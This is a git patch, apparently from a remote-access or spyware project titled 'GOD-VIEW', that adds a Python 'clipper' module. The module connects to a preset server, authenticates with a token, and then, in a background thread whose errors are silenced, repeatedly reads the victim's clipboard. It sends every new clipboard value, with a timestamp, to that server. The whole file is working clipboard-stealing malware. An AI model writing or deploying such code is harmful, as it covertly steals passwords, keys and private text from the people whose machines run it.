From 58ebd3bc0f00c532e97e9a5571471ffab87934ba Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 10:39:49 +0200 Subject: GOD-VIEW --- client/modules/clipper.py | 60 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 client/modules/clipper.py (limited to 'client/modules/clipper.py') diff --git a/client/modules/clipper.py b/client/modules/clipper.py new file mode 100644 index 0000000..ede15de --- /dev/null +++ b/client/modules/clipper.py @@ -0,0 +1,60 @@ +''' + Creates a connection to the server, sending the + clipboard data in intervals as long as its not + the same data as before. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyperclip +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyperclip +import socket +import time + + +class Clipper(Module): + + __INTERVAL = Static.LIVE_TIMEOUT / 2 + + def __init__(self, token): + super().__init__(token) + self.__first = True + self.__before = '' + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + paste = data = pyperclip.paste() + + if paste == self.__before: + data = '' + else: + if self.__first: + self.__first = False + data = f'{Helper.timestamp()}:{paste}' + else: + data = f'\n{Helper.timestamp()}:{paste}' + + Data.send(sock, data) + Data.recv(sock) + + self.__before = paste + time.sleep(Clipper.__INTERVAL) + + def live(self): + Helper.thread(self.__send) -- cgit v1.2.3